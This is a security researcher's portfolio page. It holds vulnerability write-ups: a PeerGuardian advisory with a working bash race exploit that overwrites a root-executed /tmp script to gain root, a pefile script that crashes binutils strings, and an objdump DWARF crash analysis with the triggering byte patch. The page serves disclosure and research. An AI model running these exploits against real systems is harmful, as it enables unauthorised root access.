Borja Ruiz code developments, articles and researches

Published articles

Binary instrumentation

The post I published when I was employed by Portcullis Ltd can be found at the following URL: https://labs.portcullis.co.uk/author/brc/.
From my perspective, I would say that the three most interestig blog posts are the following ones:

CTFs (Capture The Flag)

Kernel hacking

Exploit development / misc

GitHub

Probably the most interesting repository is “Pentest” https://github.com/libcrack/pentest. It contains numerous helper scripts
for carrying out mobile assessmets (both Android & iOS), burp extensions, nmap NSE, etc. I invite the reader to take a look into it :-)

Repositories I’ve created (coded myself)

Repositories I’ve contributed to

Arch Linux User Repository

I’ve been using Arch Linux for some years, and GitHub hosts a repository with scripts and packages I’ve been creating during the past years. Also, I’m maintainer of some Arch Linux packages from the AUR (Arch User Repository). The Arch Linux repository is located at https://github.com/libcrack/archlinux. The scripts can be found at https://github.com/libcrack/archlinux/tree/master/scripts and the packages I’m currently maintaing can be examined at https://github.com/libcrack/archlinux/tree/master/aur.
The following list enumerates most of them:

Exploit development

Asterisk CVE-2013-2685 - remote stack overflow (NOT discovered by Borja R)

I’ve included the slides I prepared for a talk I gave regarding the details and the caveats found during the development of an reliable exploit using a ROP-chain in order to achieve a full bypass of the stack protection (SSP) and libraries located in random memory positions (ASLR) via ret2libc.
Please note this was a public CVE. Please also note that the exploit code is also included.

This vulnerability was discovered in August 2014 and reported to the developers. The following thread was used to guide the developers in the task of implementing a proper fix: https://sourceforge.net/p/peerguardian/bugs/330/

The issued advisory for the vulnerability can be examined below:

Vulnerability

PeerGuardian uses an helper script file to execute commands. Peer Guardian always writes the helper script file at the same predictable location
/tmp/execute-all-pgl-commands.sh and also fails to check Its existence, owner and permissions. prior to execute it via graphical su.

The helper deletion only occurs when a SuperUser:: object is destroyed as can be seen in pglgui/src/super_user.cpp:

 46 SuperUser::~SuperUser()
 47 {
 48     QFile tmpfile(TMP_SCRIPT);
 49
 50     if ( tmpfile.exists() )
 51         tmpfile.remove();
 52
 53     m_ProcT->wait();
 54 }

The script creation and execution is implemented in pglgui/src/super_user.cpp:

141 void SuperUser::executeAll()
142 {
143     if ( m_Commands.isEmpty() )
144         return;
145
146     QString cmd = QString("sh %1").arg(TMP_SCRIPT);
147     QStringList lines;
148     //create file with the commands to be executed
149     lines << "#!/bin/sh";
150     lines << "set -e";
151     lines << m_Commands;
152
153     bool ok = saveFileData(lines, TMP_SCRIPT);
154
155     if ( ok )
156         exec(cmd);
157 }

pglgui/src/file_transactions.cpp:

 47 bool saveFileData( const QStringList &data, const QString &path ) {
 48
 49         QFile file( path );
 50         if ( !file.open( QIODevice::WriteOnly | QIODevice::Text ) ) {
 51                 qWarning() << Q_FUNC_INFO << "Could not write to file" << path;
 52                 return false;
 53         }
 54         QTextStream out(&file);
 55         for ( QStringList::const_iterator s = data.begin(); s != data.end(); s++ ) {
 56                 out << *s << "\n";
 57         }
 58         return true;
 59 }

Impact

An attacker can overwrite the contents of the file /tmp/execute-all-pgl-commands.sh with arbitrary shell commands which will be executed with root privileges.

Proof of concept

[borja@watergate ~]$ ./pglgui_exploit.sh

[*] Peer Guardian =<2.2.4+git PoC
[*] >> borja@libcrack.so
[*]
[*] Creating /tmp/execute-all-pgl-commands.sh
[*] Waiting for pglgui to show up...
[*] Found pglgui pid=16929
[*] Entering file overwite loop
[*] Press Ctrl+C after Peer Guardian executes its commands
[*] Waiting for pglgui to execute the payload ...
^C
[*] Got root!
-rw-r--r-- 1 root root 96 ago 31 07:07 /tmp/win
uid=0(root) gid=0(root) grupos=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),19(log)

Exploit code

#!/bin/bash
# borja@libcrack.so
# dom ago 31 06:22:05 CEST 2014

target="/tmp/execute-all-pgl-commands.sh"
win="/tmp/win"
payload='#!/bin/sh\nid > '$win''
pid=0

trap bye INT
bye(){
    echo
    test -f "$win" && {
        echo "[*] Got root!"
        ls -lah "$win"
        cat "$win"
        exit 0
    }
    echo "[*] No luck"
    exit 1
}

echo
echo "[*] Peer Guardian =<2.2.4+git PoC"
echo "[*] >> borja@libcrack.so"
echo "[*]"
echo "[*] Creating $target"
test -f $target && rm $target
touch $target
chmod 666 $target

echo "[*] Waiting for pglgui to show up..."
while true; do
    pid=$(pgrep -x pglgui) && {
        echo "[*] Found pglgui pid=$pid"
        echo "[*] Entering file overwite loop"
        echo "[*] Press Ctrl+C after Peer Guardian executes its commands"
        break
    }
done

echo "[*] Waiting for pglgui to execute the payload ..."
while true; do
    echo -e "$payload" > $target
done

binutils: strings (Discovered by Borja R, undisclosed but already fixed)

Description

No boundary checks for the field .NumberOfRvaAndSizes of PE header. There is a static array of length 15 that is overwritten.

NumberOfRvaAndSizes

Is the number of directory entries in the remainder of the optional header. Each entry describes a location and size. Additional information about this PE executable field can be found at IMAGE_OPTIONAL_HEADER structure

Poof of Concept

Payload creation

$ cat > poc.py <<EOF
import pefile
pe = pefile.PE("/tmp/calc.exe")
pe.OPTIONAL_HEADER.NumberOfRvaAndSizes = 0xff
pe.write("/tmp/calc1.exe")
EOF

Overflow Trigger

$ strings /tmp/calc1.exe
*** stack smashing detected ***: <unknown> terminated
======= Backtrace: =========
/usr/lib/libc.so.6(+0x7340e)[0x7f81ad08340e]
/usr/lib/libc.so.6(__fortify_fail+0x37)[0x7f81ad108a97]
/usr/lib/libc.so.6(__fortify_fail+0x0)[0x7f81ad108a60]
/usr/lib/libbfd-2.24.so(+0xb79a2)[0x7f81ad46f9a2]
======= Memory map: ========
00400000-00406000 r-xp 00000000 08:02 433688                             /usr/bin/strings
00605000-00606000 r--p 00005000 08:02 433688                             /usr/bin/strings
00606000-00607000 rw-p 00006000 08:02 433688                             /usr/bin/strings
020f5000-02137000 rw-p 00000000 00:00 0                                  [heap]
7f81ac7d0000-7f81ac7e6000 r-xp 00000000 08:02 399487                     /usr/lib/libgcc_s.so.1
7f81ac7e6000-7f81ac9e5000 ---p 00016000 08:02 399487                     /usr/lib/libgcc_s.so.1
7f81ac9e5000-7f81ac9e6000 rw-p 00015000 08:02 399487                     /usr/lib/libgcc_s.so.1
7f81ac9e8000-7f81acbe9000 r--p 00000000 08:02 424402                     /usr/lib/locale/locale-archive
7f81acbf0000-7f81acc05000 r-xp 00000000 08:02 399551                     /usr/lib/libz.so.1.2.8
7f81acc05000-7f81ace04000 ---p 00015000 08:02 399551                     /usr/lib/libz.so.1.2.8
7f81ace04000-7f81ace05000 r--p 00014000 08:02 399551                     /usr/lib/libz.so.1.2.8
7f81ace05000-7f81ace06000 rw-p 00015000 08:02 399551                     /usr/lib/libz.so.1.2.8
7f81ace08000-7f81ace0b000 r-xp 00000000 08:02 396354                     /usr/lib/libdl-2.20.so
7f81ace0b000-7f81ad00a000 ---p 00003000 08:02 396354                     /usr/lib/libdl-2.20.so
7f81ad00a000-7f81ad00b000 r--p 00002000 08:02 396354                     /usr/lib/libdl-2.20.so
7f81ad00b000-7f81ad00c000 rw-p 00003000 08:02 396354                     /usr/lib/libdl-2.20.so
7f81ad010000-7f81ad1a9000 r-xp 00000000 08:02 396445                     /usr/lib/libc-2.20.so
7f81ad1a9000-7f81ad3a9000 ---p 00199000 08:02 396445                     /usr/lib/libc-2.20.so
7f81ad3a9000-7f81ad3ad000 r--p 00199000 08:02 396445                     /usr/lib/libc-2.20.so
7f81ad3ad000-7f81ad3af000 rw-p 0019d000 08:02 396445                     /usr/lib/libc-2.20.so
7f81ad3af000-7f81ad3b3000 rw-p 00000000 00:00 0
7f81ad3b8000-7f81ad4b5000 r-xp 00000000 08:02 436332                     /usr/lib/libbfd-2.24.so
7f81ad4b5000-7f81ad6b5000 ---p 000fd000 08:02 436332                     /usr/lib/libbfd-2.24.so
7f81ad6b5000-7f81ad6c7000 r--p 000fd000 08:02 436332                     /usr/lib/libbfd-2.24.so
7f81ad6c7000-7f81ad6cd000 rw-p 0010f000 08:02 436332                     /usr/lib/libbfd-2.24.so
7f81ad6cd000-7f81ad6d1000 rw-p 00000000 00:00 0
7f81ad6d8000-7f81ad6fa000 r-xp 00000000 08:02 396393                     /usr/lib/ld-2.20.so
7f81ad8f6000-7f81ad8f9000 rw-p 00000000 00:00 0
7f81ad8f9000-7f81ad8fa000 r--p 00021000 08:02 396393                     /usr/lib/ld-2.20.so
7f81ad8fa000-7f81ad8fb000 rw-p 00022000 08:02 396393                     /usr/lib/ld-2.20.so
7f81ad8fb000-7f81ad8fd000 rw-p 00000000 00:00 0
7f81ad8fd000-7f81ad900000 rw-p 00000000 00:00 0
7fffc1e5a000-7fffc1e7c000 rw-p 00000000 00:00 0                          [stack]
7fffc2000000-7fffc2002000 r-xp 00000000 00:00 0                          [vdso]
7fffc2002000-7fffc2004000 r--p 00000000 00:00 0                          [vvar]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]
Abortado (`core' generado)

Affected Source Code

Source file binutils/src/binutils-build/bfd/peigen.c

 772   /* This next collection of data are mostly just characters.  It
 773      appears to be constant within the headers put on NT exes.  */
 774   filehdr_in->pe.dos_message[0]  = 0x0eba1f0e;
 775   filehdr_in->pe.dos_message[1]  = 0xcd09b400;
 776   filehdr_in->pe.dos_message[2]  = 0x4c01b821;
 777   filehdr_in->pe.dos_message[3]  = 0x685421cd;
 778   filehdr_in->pe.dos_message[4]  = 0x70207369;
 779   filehdr_in->pe.dos_message[5]  = 0x72676f72;
 780   filehdr_in->pe.dos_message[6]  = 0x63206d61;
 781   filehdr_in->pe.dos_message[7]  = 0x6f6e6e61;
 782   filehdr_in->pe.dos_message[8]  = 0x65622074;
 783   filehdr_in->pe.dos_message[9]  = 0x6e757220;
 784   filehdr_in->pe.dos_message[10] = 0x206e6920;
 785   filehdr_in->pe.dos_message[11] = 0x20534f44;
 786   filehdr_in->pe.dos_message[12] = 0x65646f6d;
 787   filehdr_in->pe.dos_message[13] = 0x0a0d0d2e;
 788   filehdr_in->pe.dos_message[14] = 0x24;
 789   filehdr_in->pe.dos_message[15] = 0x0;
 790   filehdr_in->pe.nt_signature = NT_SIGNATURE;

[...]

 833
 834   for (idx = 0; idx < 16; idx++)
 835     H_PUT_32 (abfd, filehdr_in->pe.dos_message[idx],
 836               filehdr_out->dos_message[idx]);
 837

[...]

binutils: objdump (Discovered by Borja R, undisclosed, not-fixed in all versions)

Description

The program objdump performs an invalid read when inspecting a binary containing malformed DWARF headers. The bug is due to a lack of input routines to validate that the .eh_frame section header of the inspected binary contains a valid integer range.

objdump debug switch option (-g / –debugging)

-g
--debugging
    Display debugging information.  This attempts to parse STABS and IEEE
    debugging format information stored in the file and print it out using
    a C like syntax.  If neither of these formats are found this option
    falls back on the -W option to print any DWARF information in the file.

So objdump -g == objdump -W == objdump --dwarf

GDB runtime analysis

GDB script file

set mem inaccessible-by-default off
set confirm off
set verbose off
set pagination off
set output-radix 0x10
set input-radix 0x10
set height 0
set width 0
set logging off
set history save off
set prompt \001\033[1;32m\002(gdb)\001\033[0m\002\040

file /tmp/binutils/bin/objdump
# set args -g output_objdump/crashes/id\:000004\,sig\:11\,src\:000000\,op\:flip16\,pos\:1255
set args --dwarf=frames output_objdump/crashes/id\:000004\,sig\:11\,src\:000000\,op\:flip16\,pos\:1255

# break display_debug_frames
# break /home/borja/exploit-dev/binutils/binutils/src//binutils-2.25/binutils/dwarf.c:5430
# break /home/borja/exploit-dev/binutils/binutils/src//binutils-2.25/binutils/dwarf.c:5528
break /home/borja/exploit-dev/binutils/binutils/src//binutils-2.25/binutils/dwarf.c:5530
# break read_cie

# break read_cie
# commands
#     printf "start=0x%08x \n",*start
#     continue
# end

run

Script execution

$ gdb -nh -x objdump.gdb

Binary diff (comparison between exe triggering the bug vs unaltered binary)

--- 1   2015-01-06 00:51:25.379409315 +0100
+++ 2   2015-01-06 00:51:35.506076256 +0100
@@ -76,7 +76,7 @@
 000004b0  b6 00 00 00 00 8d bf 00  00 00 00 00 53 83 ec 08  |............S...|
 000004c0  e8 9b fe ff ff 81 c3 ef  11 00 00 83 c4 08 5b c3  |..............[.|
 000004d0  03 00 00 00 01 00 02 00  14 00 00 00 00 00 00 00  |................|
-000004e0  01 7a 52 00 01 7c 08 01  1b 0c 04 04 88 01 00 00  |.zR..|..........|
+000004e0  01 7a 52 00 01 7c 08 fe  e4 0c 04 04 88 01 00 00  |.zR..|..........|
 000004f0  1c 00 00 00 1c 00 00 00  33 ff ff ff 05 00 00 00  |........3.......|
 00000500  00 41 0e 08 85 02 42 0d  05 41 c5 0c 04 04 00 00  |.A....B..A......|
 00000510  48 00 00 00 3c 00 00 00  18 ff ff ff 64 00 00 00  |H...<.......d...|
$ radiff elf32bit elf32bit_mod
0x000004e7 011b => fee4 0x000004e7

So the original executable contains 0x011b at 0x000004e7 and the modified one contains 0xfee4 at 0x000004e7, but what are exactly those fields within the binary triggering the bug??

Additional information: The DWARF .eh_frame section

The people who added DWARF-based unwinding (.eh_frame) wanted it to be a feature that’s always there so it could be used for implementing all kinds of stuff oth
er than just C++ exceptions, including:

    backtrace()
    __attribute__((__cleanup__(f)))
    __builtin_return_address(n), for n>0
    pthread_cleanup_push, implemented in terms of __attribute__((__cleanup__(f)))
    ...

However if you don’t need any of these things, .eh_frame is something like a 15-30% increase to .text size with no benefit. You can disable generation of .eh_frame with -fno-asynchronous-unwind-tables for individual translation units, and t
his mostly eliminates the size cost, although you still have a few left over coming from crtbegin.o, etc. You cannot strip them with the strip command later; since .eh_frame is a section that lives in the loaded part of the program (this is
the whole point), stripping it modifies the binary in ways that break it at run time. See https://sourceware.org/bugzilla/show_bug.cgi?id=14037 for an example of how things can break.

Note that DWARF tables are also used for debugging, but for this purpose they do not need to be in the loadable part of the program. Using -fno-asynchronous-unwind-tables will not break debugging, because as long as -g is also passed to the
compiler, the tables still get generated; they just get stored in a separate, non-loadable, strippable section of the binary, .debug_frame.

The .eh_frame section

The .eh_frame section shall contain 1 or more Call Frame Information (CFI) records. The number of records present shall be determined by size of the section as contained in the section header. Each CFI record contains a Common
Information Entry (CIE) record followed by 1 or more Frame Description Entry (FDE) records. Both CIEs and FDEs shall be aligned to an addressing unit sized boundary.

Call Frame Information Format

Each .eh_frame section shall contain one or more CFI records. Call Frame Information record (one or more per .eh_frame):

+----------------------------------+
| Common Information Entry Record  | CIE (one per CFI)
+----------------------------------+
| Frame Description Entry Record(s)| FDE (one or more per CIE)
+----------------------------------+

Common Information Entry Format

| Name                      | Size | Required |
|:--------------------------|:----:|:---------|
| Length                    |  4B  | Required |
| Extended Length           |  8B  | Optional |
| CIE ID                    |  4B  | Required |
| Version                   |  1B  | Required |
| Augmentation String       |  nB  | Required |
| EH Data                   |      | Optional |
| Code Alignment Factor     |      | Required |
| Data Alignment Factor     |      | Required |
| Return Address Register   |      | Required |
| Augmentation Data Length  |      | Optional |
| Augmentation Data         |      | Optional |
| Initial Instructions      |      | Required |
| Padding                   |      |   ????   |

Augmentation String Format

The Agumentation String indicates the presence of some optional fields, and how those fields should be intepreted. This string is case sensitive. Each character in the augmentation string in the CIE can be interpreted as below:

The Frame Description Entry Format

| Name                      | Size | Required |
|:--------------------------|:----:|:---------|
| Length                    |  4B  | Required |
| Extended Length           |  8B  | Optional |
| CIE Pointer               |  4B  | Required |
| PC Begin                  |      | Required |
| PC Range                  |      | Required |
| Augmentation Data Length  |      | Optional |
| Augmentation Data         |      | Optional |
| Call Frame Instructions   |      | Required |
| Padding                   |      |   ????   |

*Length: A 4 byte unsigned value indicating the length in bytes of the CIE structure, not including the Length field itself. If Length contains the value 0xffffffff, then the length is contained the Extended Length field. If Length contains the value 0, then this CIE shall be considered a terminator and processing shall end.

*Extended Length: A 8 byte unsigned value indicating the length in bytes of the CIE structure, not including the Length field itself.

*CIE Pointer: A 4 byte unsigned value that when subtracted from the offset of the current FDE yields the offset of the start of the associated CIE. This value shall never be 0.

*PC Begin: An encoded constant that indicates the address of the initial location associated with this FDE.

*PC Range: An encoded constant that indicates the number of bytes of instructions associated with this FDE.

*Augmentation Length: An unsigned LEB128 encoded value indicating the length in bytes of the Augmentation Data. This field is only present if the Augmentation String in the associated CIE contains the character ‘z’.

*Augmentation Data: A block of data whose contents are defined by the contents of the Augmentation String in the associated CIE as described above. This field is only present if the Augmentation String in the associated CIE contains the character ‘z’.

*Call Frame Instructions: A set of Call Frame Instructions.

*Padding: Extra bytes to align the FDE structure to an addressing unit size boundary.

Code audit (root cause research)

The function display_debug_frames reads a Common Information Entry (CIE) record structure by calling to read_cie which is defined hunders of lines
above itself:

File binutils/src/binutils-2.25/binutils/dwarf.c:

5307
5308 #define GET(VAR, N)     SAFE_BYTE_GET_AND_INC (VAR, start, N, end)
5309 #define LEB()   read_uleb128 (start, & length_return, end); start +=
length_return
5310 #define SLEB()  read_sleb128 (start, & length_return, end); start +=
length_return
5311
5312 static unsigned char *
5313 read_cie (unsigned char *start, unsigned char *end,
5314           Frame_Chunk **p_cie, int *p_version,
5315           unsigned long *p_aug_len, unsigned char **p_aug)
5316 {
5317   int version;
5318   Frame_Chunk *fc;
5319   unsigned int length_return;
5320   unsigned char *augmentation_data = NULL;
5321   unsigned long augmentation_data_len = 0;
5322
5323   * p_cie = NULL;
5324   /* PR 17512: file: 001-228113-0.004.  */
5325   if (start >= end)
5326     return end;

[...]

5412
5413   static int
5414   display_debug_frames (struct dwarf_section *section,
5415                 void *file ATTRIBUTE_UNUSED)
5416   {
5417     unsigned char *start = section->start;
5418     unsigned char *end = start + section->size;
5419     unsigned char *section_start = start;
5420     Frame_Chunk *chunks = 0, *forward_refs = 0;
5421     Frame_Chunk *remembered_state = 0;
5422     Frame_Chunk *rs;
5423     int is_eh = strcmp (section->name, ".eh_frame") == 0;
5424     unsigned int length_return;
5425     int max_regs = 0;
5426     const char *bad_reg = _("bad register: ");
5427     int saved_eh_addr_size = eh_addr_size;
5428
5429     printf (_("Contents of the %s section:\n"), section->name);
5430

The function read_cie which is implemented in dwarf.c possibly fails when parsing the .eh_frame or .eh_frame_sz CIE values, leading to an outbounds
memory read failure.

Crash tests

Normal execution

$ objdump --dwarf=frames elf32bit | head -13

elf32bit:     formato del fichero elf32-i386

Section .eh_frame contents:

00000000 00000014 00000000 CIE
  Version:               1
  Augmentation:          "zR"
  Code alignment factor: 1
  Data alignment factor: -4
  Return address column: 8
  Augmentation data:     1b

Full execution output:

$ objdump --dwarf=frames elf32bit

elf32bit:     formato del fichero elf32-i386

Contenido de la sección .eh_frame:

00000000 00000014 00000000 CIE
  Version:               1
  Augmentation:          "zR"
  Code alignment factor: 1
  Data alignment factor: -4
  Return address column: 8
  Augmentation data:     1b

  DW_CFA_def_cfa: r4 (esp) ofs 4
  DW_CFA_offset: r8 (eip) at cfa-4
  DW_CFA_nop
  DW_CFA_nop

00000018 0000001c 0000001c FDE cie=00000000 pc=ffffff53..ffffff58
  DW_CFA_advance_loc: 1 to ffffff54
  DW_CFA_def_cfa_offset: 8
  DW_CFA_offset: r5 (ebp) at cfa-8
  DW_CFA_advance_loc: 2 to ffffff56
  DW_CFA_def_cfa_register: r5 (ebp)
  DW_CFA_advance_loc: 1 to ffffff57
  DW_CFA_restore: r5 (ebp)
  DW_CFA_def_cfa: r4 (esp) ofs 4
  DW_CFA_nop
  DW_CFA_nop

00000038 00000048 0000003c FDE cie=00000000 pc=ffffff58..ffffffbc
  DW_CFA_advance_loc: 1 to ffffff59
  DW_CFA_def_cfa_offset: 8
  DW_CFA_offset: r5 (ebp) at cfa-8
  DW_CFA_advance_loc: 1 to ffffff5a
  DW_CFA_def_cfa_offset: 12
  DW_CFA_offset: r7 (edi) at cfa-12
  DW_CFA_advance_loc: 1 to ffffff5b
  DW_CFA_def_cfa_offset: 16
  DW_CFA_offset: r6 (esi) at cfa-16
  DW_CFA_advance_loc: 3 to ffffff5e
  DW_CFA_def_cfa_offset: 20
  DW_CFA_offset: r3 (ebx) at cfa-20
  DW_CFA_advance_loc: 14 to ffffff6c
  DW_CFA_def_cfa_offset: 48
  DW_CFA_advance_loc: 47 to ffffff9b
  DW_CFA_def_cfa_offset: 52
  DW_CFA_advance_loc: 4 to ffffff9f
  DW_CFA_def_cfa_offset: 56
  DW_CFA_advance_loc: 1 to ffffffa0
  DW_CFA_def_cfa_offset: 60
  DW_CFA_advance_loc: 1 to ffffffa1
  DW_CFA_def_cfa_offset: 64
  DW_CFA_advance_loc: 10 to ffffffab
  DW_CFA_def_cfa_offset: 48
  DW_CFA_advance_loc: 12 to ffffffb7
  DW_CFA_def_cfa_offset: 20
  DW_CFA_advance_loc: 1 to ffffffb8
  DW_CFA_restore: r3 (ebx)
  DW_CFA_def_cfa_offset: 16
  DW_CFA_advance_loc: 1 to ffffffb9
  DW_CFA_restore: r6 (esi)
  DW_CFA_def_cfa_offset: 12
  DW_CFA_advance_loc: 1 to ffffffba
  DW_CFA_restore: r7 (edi)
  DW_CFA_def_cfa_offset: 8
  DW_CFA_advance_loc: 1 to ffffffbb
  DW_CFA_restore: r5 (ebp)
  DW_CFA_def_cfa_offset: 4
  DW_CFA_nop
  DW_CFA_nop

00000084 00000010 00000088 FDE cie=00000000 pc=ffffffc8..ffffffc9
  DW_CFA_nop
  DW_CFA_nop
  DW_CFA_nop

00000098 00000024 0000009c FDE cie=00000000 pc=fffffe28..fffffe58
  DW_CFA_def_cfa_offset: 8
  DW_CFA_advance_loc: 6 to fffffe2e
  DW_CFA_def_cfa_offset: 12
  DW_CFA_advance_loc: 10 to fffffe38
  DW_CFA_def_cfa_expression (DW_OP_breg4 (esp): 4; DW_OP_breg8 (eip): 0; DW_OP_lit15; DW_OP_and; DW_OP_lit11; DW_OP_ge; DW_OP_lit2; DW_OP_shl; DW_OP_plus)
  DW_CFA_nop
  DW_CFA_nop
  DW_CFA_nop
  DW_CFA_nop

000000c0 ZERO terminator

SEGFAULT trigger

$ objdump --dwarf=frames elf32bit_mod | head -13

elf32bit_mod:     formato del fichero elf32-i386

Section .eh_frame contents:

00000000 00000014 00000000 CIE
  Version:               1
  Augmentation:          "zR"
  Code alignment factor: 1
  Data alignment factor: -4
  Return address column: 8
  Augmentation data:     04 04 88 01 00 00 1c 00 00 ...

ELF32 file differences

$ hexdump -C elf32bit | grep 000004e0; hexdump -C elf32bit_mod | grep 000004e0
000004e0  01 7a 52 00 01 7c 08 01  1b 0c 04 04 88 01 00 00  |.zR..|..........|
000004e0  01 7a 52 00 01 7c 08 fe  e4 0c 04 04 88 01 00 00  |.zR..|..........|

So the malformed ELF32 file contains \xfe\xe4 at 0x000004e0 instead of \x01\x1b. Also notice the Augmentation Data value:

Augmentation data:     1b

Augmentation data:     04 04 88 01 00 00 1c 00 00

Latest research: Potentially exploitable VLC heap corruption

Last week-end I spent some time investigating a heap corruption flaw affecting the latest version of the media player VLC media player 2.2.1 Terry Pratchett (Weatherwax) (revision 2.2.1-0-ga425c42). The following screenshots are presented as demonstration:

VLC heap

VLC heap

VLC heap

VLC heap